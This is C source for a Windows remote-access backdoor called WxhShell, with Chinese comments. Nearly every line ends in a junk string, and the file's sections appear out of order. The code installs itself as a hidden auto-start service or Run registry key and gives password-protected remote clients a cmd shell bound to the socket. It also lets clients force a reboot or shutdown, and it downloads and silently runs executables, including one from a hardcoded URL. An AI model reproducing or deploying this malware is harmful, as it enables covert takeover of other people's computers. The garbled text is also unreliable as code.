    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'i|YlMFIg  
    if(Boot(SHUTDOWN)) >Y@H4LF;1x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M x" \5i  
    else { z},# ~L6$q  
    closesocket(wsh); 5146kp|1  
    ExitThread(0); mgU<htMr1  
    } 5L}/&^E#p  
    break; W=+ Y|R!  
    } +^F Zq$NP  
  // 获取shell "qy,*{~  
  case 's': { +k R4E23:  
    CmdShell(wsh); [AJJSd/:  
    closesocket(wsh); nQ3A~ ()  
    ExitThread(0); :e+jU5;]3  
    break; <<O$ G7c  
  } .O<obq~;C  
  // 退出 9_h[bBx-'Q  
  case 'x': { zX i 'kB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p0eX{xm  
    CloseIt(wsh); J C}D` h  
    break; |-~Y#]  
    } Pr C{'XDlU  
  // 离开 a(ZcmYzXU  
  case 'q': { |CbikE}kL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @BMx!r5kn  
    closesocket(wsh); goWuw}?  
    WSACleanup(); \cM2k-  
    exit(1); lr&a;aZp  
    break; V>rU.Mp QU  
        } _+3::j~;m  
  } Z0r'S]fe  
  } \o3gKoL%  
M X]n&  
  // 提示信息 K wVbbC3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t"I77aZ$A  
} 8zq=N#x  
  } *|HY>U.  
eS){1  
  return;  C9)@jK%  
} E=O\0!F|b  
[dVL&k<P  
// shell模块句柄 bpa?C  
int CmdShell(SOCKET sock) 3=V &K-  
{ z\4.Gm-  
STARTUPINFO si; j B{8u&kz)  
ZeroMemory(&si,sizeof(si)); tfWS)y7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %\:Wi#w>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dqcL]e  
PROCESS_INFORMATION ProcessInfo; 8H`[*|{'  
char cmdline[]="cmd"; ]hV*r@d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &BSn?  
  return 0; iH'p>s5L  
} l;E(I_ i)  
w&.a QGR#  
// 自身启动模式 Gav$HLx  
int StartFromService(void) 2st3  
{ x.4m|f0;  
typedef struct :Llb< MY2  
{ 3PF_H$`oJ  
  DWORD ExitStatus; V|R,!UND  
  DWORD PebBaseAddress; \z)%$#I  
  DWORD AffinityMask; B`sAk %  
  DWORD BasePriority; ?gXp*>Kg[  
  ULONG UniqueProcessId; a,o*=r  
  ULONG InheritedFromUniqueProcessId; pTuS*MYz  
}   PROCESS_BASIC_INFORMATION; QTnP'5y  
ksm~<;td  
PROCNTQSIP NtQueryInformationProcess; ,`sv1xwd  
iN.n8MN=I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $<OD31T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tQ601H>o  
!H\F2Vxs  
  HANDLE             hProcess; ~F#j#n(=`q  
  PROCESS_BASIC_INFORMATION pbi; ^=*;X;7  
]I6  J7A[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0tJ Z4(0  
  if(NULL == hInst ) return 0; _tycgq#  
BFt> 9x]T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o#N+Y?O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ni7nq8B<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EhBKj |y  
Ws12b $  
  if (!NtQueryInformationProcess) return 0; (w zQ2Dk  
$Y gue5{c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *OQ2ucC8j  
  if(!hProcess) return 0; - ! S_ryL  
 f)<6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x|29L7i  
CU~PT.  
  CloseHandle(hProcess); Kf-JcBsrT  
7x8  yxE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |&4/n6;P$0  
if(hProcess==NULL) return 0; MfkN]\Jyw  
kSo"Ak!  
HMODULE hMod; DIUjn;>k8  
char procName[255]; o,wUc"CE  
unsigned long cbNeeded; KG{St{uJ  
@KUWxFak  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /<BI46B\  
*n"{J(Jt`  
  CloseHandle(hProcess); A_UjC`  
o<!?7g{  
if(strstr(procName,"services")) return 1; // 以服务启动 m) D|l1AtF  
|+"(L#wk  
  return 0; // 注册表启动 t3^&; &[  
} U`s{Jm  
3=;<$+I6  
// 主模块 R/a*LSe@&  
int StartWxhshell(LPSTR lpCmdLine) (4-CF3D  
{ CTA 3*Gn  
  SOCKET wsl; ( uidNq  
BOOL val=TRUE; wUM0M?_p[  
  int port=0; YA5g';$H*  
  struct sockaddr_in door; [a<SDMR  
wI "U7vr  
  if(wscfg.ws_autoins) Install(); ??/ 'kmd  
L{Vqh0QD&  
port=atoi(lpCmdLine); -35;j'a  
SZCze"`[  
if(port<=0) port=wscfg.ws_port; K"@M,8hb  
Uoix  
  WSADATA data; eJ81-!)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j*m%*_kO  
9(<@O%YU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YZJyk:H\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9-m=*|p  
  door.sin_family = AF_INET; GsM<2@?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0C ,`h `  
  door.sin_port = htons(port); ,MIV=*  
7Fsay+a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @9|hMo  
closesocket(wsl); ] @fk] ]R  
return 1; |(^PS8wG  
} f6"Z'{j  
ZSm3XXk  
  if(listen(wsl,2) == INVALID_SOCKET) { % %UE+u @J  
closesocket(wsl); Y\'}a+:@Ph  
return 1; +x}<IS8  
} ?|Zx!z ($  
  Wxhshell(wsl); 6;5Ss?ep  
  WSACleanup(); Ilm^G}GB  
Rbv;?'O$L  
return 0; ;YL i{  
Z;)%%V%o  
} h2J x]FJ  
eh#(eua0/  
// 以NT服务方式启动 vs{s_T7Mz]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R0-j5&^jju  
{ lU8Hd|@-  
DWORD   status = 0; b5n'=doR/I  
  DWORD   specificError = 0xfffffff; lsNd_7k  
-d:Jta!}{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kylVH! @l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @pU)_d!pJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %ULr8)R;  
  serviceStatus.dwWin32ExitCode     = 0; Dv`c<+q(#  
  serviceStatus.dwServiceSpecificExitCode = 0; \xoP)Ub>  
  serviceStatus.dwCheckPoint       = 0; u\nh[1)a)  
  serviceStatus.dwWaitHint       = 0; ^pk7"l4Xm  
<p"iY}x[H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z*)T %p  
  if (hServiceStatusHandle==0) return; "g8M0[7e3  
r" ,GC]  
status = GetLastError(); sCHJ&>m5-  
  if (status!=NO_ERROR) "C`Ub  
{ [}]Q?*_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S>1Iky|  
    serviceStatus.dwCheckPoint       = 0; -A!%*9Z  
    serviceStatus.dwWaitHint       = 0; 7Hu3>4<  
    serviceStatus.dwWin32ExitCode     = status; P7/X|M z  
    serviceStatus.dwServiceSpecificExitCode = specificError; FaJ&GOM,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W `}Rf\g  
    return; E-g_".agO  
  } `*KHS A  
jRV/A!4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v|2T%y_ u  
  serviceStatus.dwCheckPoint       = 0; N ZSSg2TX#  
  serviceStatus.dwWaitHint       = 0; 0:d_Yv,D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .kfI i^z  
} &@YmA1Yu)E  
3? +Hd  
// 处理NT服务事件,比如:启动、停止 {Y9q[D'g.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '2^Q1{ :\  
{ 6)Lk-D  
switch(fdwControl) tIgN$BHR>  
{ Pgea NK5Y  
case SERVICE_CONTROL_STOP: cYt!n5w~W  
  serviceStatus.dwWin32ExitCode = 0; 6!FQzFCZq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VP]%Hni]  
  serviceStatus.dwCheckPoint   = 0; I~XSn>-H  
  serviceStatus.dwWaitHint     = 0; S{m% H{A!  
  { A^<iL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PwLZkr@4^  
  } -3Vx76Y  
  return; 4{`{WI{  
case SERVICE_CONTROL_PAUSE: U/NoP4~{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~qOa\#x_  
  break; }vM("v|M  
case SERVICE_CONTROL_CONTINUE: u.Dz~$T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OI*Xt`  
  break; H_Q+&9^/  
case SERVICE_CONTROL_INTERROGATE: ea')$gR  
  break; C3YT1tK  
}; w`zTR0`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Jz6O U*z  
} ixD)VcD-f  
CzEd8jeh7  
// 标准应用程序主函数  kPLxEwl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oILZgNe'  
{ y h9*z3  
p.?rey<%  
// 获取操作系统版本 em N*l]N  
OsIsNt=GetOsVer(); ,\%c^,HLJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )I.$=s  
[HZv8HU|  
  // 从命令行安装 6,{$J  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0KOgw*>_  
/s}} &u/  
  // 下载执行文件 G<v&4/\p`M  
if(wscfg.ws_downexe) { ~M4;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,nDaqQ-C!!  
  WinExec(wscfg.ws_filenam,SW_HIDE); yO~Ig `w  
} O@C@eW#  
E=!\z%4  
if(!OsIsNt) { @6T/Tdz  
// 如果时win9x,隐藏进程并且设置为注册表启动 ikiypWq  
HideProc(); v^ V itLC  
StartWxhshell(lpCmdLine); :G%61x&=Zc  
} $ gS>FJ  
else }Kbb4]t|"  
  if(StartFromService()) B ,epzI  
  // 以服务方式启动 v z '&%(  
  StartServiceCtrlDispatcher(DispatchTable); ;@|n @ax  
else 81 sG  
  // 普通方式启动 v,>Dbxn  
  StartWxhshell(lpCmdLine); wD'SPk5S?  
Z}Ft:7   
return 0; DN57p!z  
} o:Sa, !DK  
Z@PmM4F@S  
HRfYl,S,  
wEvVL  
=========================================== ?+}_1x`  
'AS|ZRr/  
xYpd: Sm  
k_nql8H  
O[JL+g4  
ZX./P0  
" `&ckZiq  
.5ha}=z  
#include <stdio.h> .jWC$SVR  
#include <string.h> zue~ce73J  
#include <windows.h> ^sLdAC  
#include <winsock2.h> Cd}<a?m,  
#include <winsvc.h> QX'qyojxN  
#include <urlmon.h> lchPpm9  
~%kkeh\j  
#pragma comment (lib, "Ws2_32.lib") fHd#u%63K  
#pragma comment (lib, "urlmon.lib") K^<BW(s  
&(l9?EVq1  
#define MAX_USER   100 // 最大客户端连接数 ?QdWrE_  
#define BUF_SOCK   200 // sock buffer :(*V?WI  
#define KEY_BUFF   255 // 输入 buffer K} X&AJ5A  
\\B(r  
#define REBOOT     0   // 重启 XYOC_.f1  
#define SHUTDOWN   1   // 关机 VY=jc~c]v  
30T)!y  
#define DEF_PORT   5000 // 监听端口 w-L=LWL\  
PmEsN&YP]  
#define REG_LEN     16   // 注册表键长度 4yA+ h2  
#define SVC_LEN     80   // NT服务名长度 0rs"o-s<  
;RPx^X~  
// 从dll定义API j/c&xv 7=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `Cynj+PCe  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XW)lDiJl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c2 C8g1n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uGK.\PB$  
,G?WAOy,  
// wxhshell配置信息 h_,i&d@(  
struct WSCFG { /dI&o,sA  
  int ws_port;         // 监听端口 (m(JK^  
  char ws_passstr[REG_LEN]; // 口令 T;a}#56{^  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~H<6gN<j(.  
  char ws_regname[REG_LEN]; // 注册表键名 +.b,AqJ/  
  char ws_svcname[REG_LEN]; // 服务名 .2Elr(&*h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yEoF4bt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ww+IWW@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ad9}9!<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x,pjpx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l'E*=Rn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 paE[rS\  
3J|F?M"N7  
}; }?_?V&K|  
z3m85F%dR  
// default Wxhshell configuration A>;bHf@  
struct WSCFG wscfg={DEF_PORT, }I6veagK  
    "xuhuanlingzhe", cO+qs[ BQ  
    1, dhf!o0'1M  
    "Wxhshell", u5b|#&-mX  
    "Wxhshell", BLf>_b Uk  
            "WxhShell Service", DGn;m\B  
    "Wrsky Windows CmdShell Service", ;~ $'2f~U  
    "Please Input Your Password: ", tOd&!HYL  
  1, -4IE]'##  
  "http://www.wrsky.com/wxhshell.exe", +RMSA^  
  "Wxhshell.exe" i0kak`x0  
    }; }t=!(GOb}  
A,Vu\3HS  
// 消息定义模块 ub#a`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1N#| }ad  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }Gm>`cw-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S8wLmd>  
char *msg_ws_ext="\n\rExit."; IT7wT+  
char *msg_ws_end="\n\rQuit."; $)ijN^hV  
char *msg_ws_boot="\n\rReboot..."; U175{N%3  
char *msg_ws_poff="\n\rShutdown..."; c&?m>2^6  
char *msg_ws_down="\n\rSave to "; /}fHt^2H  
{{D)YldtA  
char *msg_ws_err="\n\rErr!"; *-=(Q`3  
char *msg_ws_ok="\n\rOK!"; mt+Oi70  
7yH"l9Z  
char ExeFile[MAX_PATH]; U} e!Wjrc  
int nUser = 0; PI:4m%[  
HANDLE handles[MAX_USER]; 17[3/m8a  
int OsIsNt; p6]1w]*R  
4 I k{  
SERVICE_STATUS       serviceStatus; )@l%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BB!THj69a6  
Fg5kX  
// 函数声明 0$)>D==  
int Install(void); *ebSq)  
int Uninstall(void); HU8900k+  
int DownloadFile(char *sURL, SOCKET wsh); n,V[eW#m'L  
int Boot(int flag); p{ Yv3dNl  
void HideProc(void); F^t DL:  
int GetOsVer(void); wc NOLUl  
int Wxhshell(SOCKET wsl); HJLG=mU  
void TalkWithClient(void *cs); G )trG9 .a  
int CmdShell(SOCKET sock); gx8ouOh  
int StartFromService(void); k"T}2 7  
int StartWxhshell(LPSTR lpCmdLine); FxtQXu-g  
F|o:W75  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +ocol6G7W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +>Qq(Y  
RXpw!  
// 数据结构和表定义 rb2S7k0{  
SERVICE_TABLE_ENTRY DispatchTable[] = Jr ,;>   
{ D3Ig>gKo?m  
{wscfg.ws_svcname, NTServiceMain}, "$Z= %.3Q  
{NULL, NULL} J6s`'gFns  
}; qo90t{|c  
Ustv{:7v  
// 自我安装 <ro7vPKNa  
int Install(void) uk< 4+x,2)  
{ 8 S:w7Hr  
  char svExeFile[MAX_PATH]; &Fzb6/  
  HKEY key; B:;pvW]  
  strcpy(svExeFile,ExeFile); 8>2.UrC  
( iBl   
// 如果是win9x系统,修改注册表设为自启动 _"Dv uR  
if(!OsIsNt) { j^j1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G~^r)fm_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fo*2:?K&  
  RegCloseKey(key); H1pO!>M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =)H.c uc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hLd^ agX  
  RegCloseKey(key); yYIf5S`V]  
  return 0; F# ,90F'  
    } N ,'GN[s  
  } dh`K`b4I  
} |"X*@s\'  
else { xaq-.IQAM$  
t9kzw*U9  
// 如果是NT以上系统,安装为系统服务 ';w#w<yaI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b,l$1{  
if (schSCManager!=0) 25nt14Y 0u  
{ <y2U3; t  
  SC_HANDLE schService = CreateService (^8Y|:Tz  
  ( o]J{{M'E  
  schSCManager, P_dCR  
  wscfg.ws_svcname, u<7/0;D#+  
  wscfg.ws_svcdisp, }l(&}#dY  
  SERVICE_ALL_ACCESS, Gv!2f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6"L cJ%o  
  SERVICE_AUTO_START, U2tV4_ e  
  SERVICE_ERROR_NORMAL, &Cq`Y !y  
  svExeFile, 75cW_t,g  
  NULL, T6y\|  
  NULL, 'Vzp2  
  NULL, fIx+IL s  
  NULL, 4x=v?g&  
  NULL %B2'~|g  
  ); $-OA'QwB]  
  if (schService!=0) BM%e0n7  
  { APn|\  
  CloseServiceHandle(schService); m)ky*"(  
  CloseServiceHandle(schSCManager); :[p}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XV7Ex\D*  
  strcat(svExeFile,wscfg.ws_svcname); #px+;k 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VZp5)-!\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !_]Y~[  
  RegCloseKey(key); d\&U*=  
  return 0; /kZebNf6H  
    } e&|'I"  
  } @ wGPqg  
  CloseServiceHandle(schSCManager); SB;&GHq"n  
} .9/ hHCp  
} ;V:i!u u  
&&5aM  
return 1; )!th7sH  
} 0cv{  
g+8OekzB5  
// 自我卸载 du $:jN\}  
int Uninstall(void) "(3[+W{|  
{ Q,,e+exbb5  
  HKEY key; i^/T  
bQzZy5,  
if(!OsIsNt) { 1jmjg~W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JK7G/]j+Ez  
  RegDeleteValue(key,wscfg.ws_regname); x 77*c._3v  
  RegCloseKey(key); WA<v9#m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5N#aXG^9  
  RegDeleteValue(key,wscfg.ws_regname); A]_7}<<N  
  RegCloseKey(key); NlA,'`,  
  return 0; oM X  
  } lF<]8m%F  
} N~nziY*C,*  
} gldAP:  
else { Q4#.X=.d  
on!,c>nNa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HDz5&7* .  
if (schSCManager!=0) f$o_e90mu  
{ vz@A;t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3<e=g)F  
  if (schService!=0) Yj<a" Gr4[  
  { k90YV(  
  if(DeleteService(schService)!=0) { iOf<$f  
  CloseServiceHandle(schService); $H2u.U<ip  
  CloseServiceHandle(schSCManager); *l(7D(#  
  return 0; y B81f  
  } ~T"Rw2v b  
  CloseServiceHandle(schService); H9Gh>u]}  
  } RF?`vRZOe  
  CloseServiceHandle(schSCManager); D5gFXEeh  
} mtpeRVcF  
} xS5vbJ  
K6)Gc%:`  
return 1; 6lZ3tdyNo  
} &Gc9VF]o  
(fhb0i-  
// 从指定url下载文件 4V"E8rUL(  
int DownloadFile(char *sURL, SOCKET wsh) 3 #n_?-  
{ O"+ gQXe  
  HRESULT hr; ,=uD^n:  
char seps[]= "/"; mn'A9er  
char *token; c rQ8q;:  
char *file; h! ,v/7=  
char myURL[MAX_PATH]; PioZIb/{  
char myFILE[MAX_PATH]; ]HbY  
av(6wht8  
strcpy(myURL,sURL); 3RUy, s  
  token=strtok(myURL,seps);  > ^O7  
  while(token!=NULL) \Zb;'eDv  
  { ImA @}:  
    file=token; x o;QCOH  
  token=strtok(NULL,seps); ; t)3F  
  } qfX6TV5J}!  
k<z )WNBf  
GetCurrentDirectory(MAX_PATH,myFILE); YByLoM*  
strcat(myFILE, "\\"); Q1lyj7c#x  
strcat(myFILE, file); V~qNyOtA]  
  send(wsh,myFILE,strlen(myFILE),0); XjBW9a  
send(wsh,"...",3,0); 05|=`eJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )|cc X  
  if(hr==S_OK) MnmVl"(/  
return 0; hy9\57_#  
else AI2~Jp  
return 1; [=C6U_vU  
v<k?Vu  
} )J=!L\  
m 1b?J3   
// 系统电源模块 V(}:=eK  
int Boot(int flag) oE6tauQn  
{ zxEL+P  
  HANDLE hToken; 7o\@>rNWP  
  TOKEN_PRIVILEGES tkp; y4yhF8E>;U  
^ "E^zHM(  
  if(OsIsNt) { L]7=?vN=8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); />C^WQI^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 53_Hl]#qZ  
    tkp.PrivilegeCount = 1; 7K12 G!)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SV4E0c>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p;a,#IJu  
if(flag==REBOOT) { v{RZJ^1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #{0HYg?(f  
  return 0; W@>% {eE  
} 5; C|  
else { VCYwzB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) , };& tR  
  return 0; 'I|v[G$l  
} LPXi+zj  
  } .Cv6kgB@c  
  else { 'JtBZFq  
if(flag==REBOOT) { P-[-pi@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I]|Pq  
  return 0; oE @a'*.\  
} ; T\%|O=Ke  
else { hXw]K"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AhN4mc@  
  return 0; J[&@PUy  
} 5"VTK  
} 7jrt7[{  
t mn tp  
return 1; W<{h,j8  
} alJ)^OSIe  
2F;y;l%  
// win9x进程隐藏模块 E#34Wh2z  
void HideProc(void) _ >?\DgjH  
{ k:i4=5^*GX  
O ;Rqv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /A\8 mL8  
  if ( hKernel != NULL ) 'd0~!w  
  { 810|Tj*U%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c?Y*Y   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UsG~row:!  
    FreeLibrary(hKernel); :]K4KFM  
  } cdH>n)  
E, Z$pKL?  
return; D_2:k'4  
} te`$%NRl  
|T /ZL!  
// 获取操作系统版本 sFKX-S~:  
int GetOsVer(void) AOZP*\k  
{ Y;eZ9|Ht9  
  OSVERSIONINFO winfo; [|wZ77\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z{.8^u1I  
  GetVersionEx(&winfo); NSMyliM1Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BU)U/A8iS  
  return 1; wVXS%4|v  
  else &<g|gsG`  
  return 0; f^ZRT@`O  
} Rr$-tYy6  
Oxnp0 s  
// 客户端句柄模块 FgnTGY}  
int Wxhshell(SOCKET wsl) 2ACCh4(/P  
{ R+:yVi[F]U  
  SOCKET wsh; _%Bi: HG0  
  struct sockaddr_in client; =[ 46`-_  
  DWORD myID; z|uDy2  
.#!lP/.eQP  
  while(nUser<MAX_USER) Y|m +dT6  
{ j3oV+zZ49  
  int nSize=sizeof(client); \&:nFb%=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5<k"K^0QS  
  if(wsh==INVALID_SOCKET) return 1; ~\SGb_2  
CT@ jZtg0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T~?Ff|qFC  
if(handles[nUser]==0) S>+|OCl";  
  closesocket(wsh); hNiE\x  
else ^#-l q)  
  nUser++; A|[?#S((]  
  } @u+]aI!`-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FZ QP%]FX  
r r %V.r;2  
  return 0; G>_*djUf  
} ]#<4vl\  
]EbM9Fo-U  
// 关闭 socket K g*Q  
void CloseIt(SOCKET wsh) NX.6px17  
{ ?,Xw[pR  
closesocket(wsh); ;O5zUl-`  
nUser--; Ty\R=y}}  
ExitThread(0); ;C#F>SG\S  
} HWAdhDZ  
,pfG  
// 客户端请求句柄 M^Yh|%M  
void TalkWithClient(void *cs) ja'T+!k  
{ CkC^'V)  
Po;W'7"Po`  
  SOCKET wsh=(SOCKET)cs; "Y.tht H  
  char pwd[SVC_LEN]; !TH) +zi  
  char cmd[KEY_BUFF]; Kn{4;Xk\  
char chr[1]; 3NqB <J  
int i,j; \\ij(>CI  
:G=fl)!fE  
  while (nUser < MAX_USER) { Ny7S  
5I;&mW`1,`  
if(wscfg.ws_passstr) { "cGk)s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2nObl'ec  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <nf@U>wlw  
  //ZeroMemory(pwd,KEY_BUFF); ]mq|w  
      i=0; m~ABC#,2  
  while(i<SVC_LEN) { wm@@$  
.LZ?S"z$ w  
  // 设置超时 h*a(_11  
  fd_set FdRead; ",t?8465y  
  struct timeval TimeOut; **0~K";\  
  FD_ZERO(&FdRead); sdrfsrNvB-  
  FD_SET(wsh,&FdRead); %0?KMRr  
  TimeOut.tv_sec=8; xu%k~4cB,  
  TimeOut.tv_usec=0; 9RL`<,Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aK~8B_5k8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8`{:MkXP  
aKDKmHd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;1=1:S8  
  pwd=chr[0]; pF>i-i  
  if(chr[0]==0xd || chr[0]==0xa) { }&D WaO]J7  
  pwd=0; {WS;dX4  
  break; uMv,zO5  
  } bWS&Yk(  
  i++; <dNOd0e  
    } 3`?7 <YJ  
T<>,lQs(a  
  // 如果是非法用户,关闭 socket E=Bf1/c\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Oszj$C(jF  
} :,7hWs  
fbvL7* (  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n&/ `  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l&zilVVm  
 > |=ts  
while(1) { H41?/U,{  
6_;icpN]  
  ZeroMemory(cmd,KEY_BUFF); MchA{p&Ol  
{Mk6T1Bkq  
      // 自动支持客户端 telnet标准   `(;m?<%  
  j=0; a-tmq]]E  
  while(j<KEY_BUFF) { |-ALklXr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rv>-4@fMJ  
  cmd[j]=chr[0]; t}4, ]m s  
  if(chr[0]==0xa || chr[0]==0xd) { Yh7t"=o  
  cmd[j]=0; KF}hV9IU  
  break; Dy&i&5E.-l  
  } =svN#q5s  
  j++; q<<v,ihh  
    } wJqMa9|  
o/)h"i0P  
  // 下载文件 JR|ck=tq  
  if(strstr(cmd,"http://")) { 1&OW4_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q i;1L Kc  
  if(DownloadFile(cmd,wsh)) XT*sGM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v1JzP#  
  else ~ Iuf}D;  
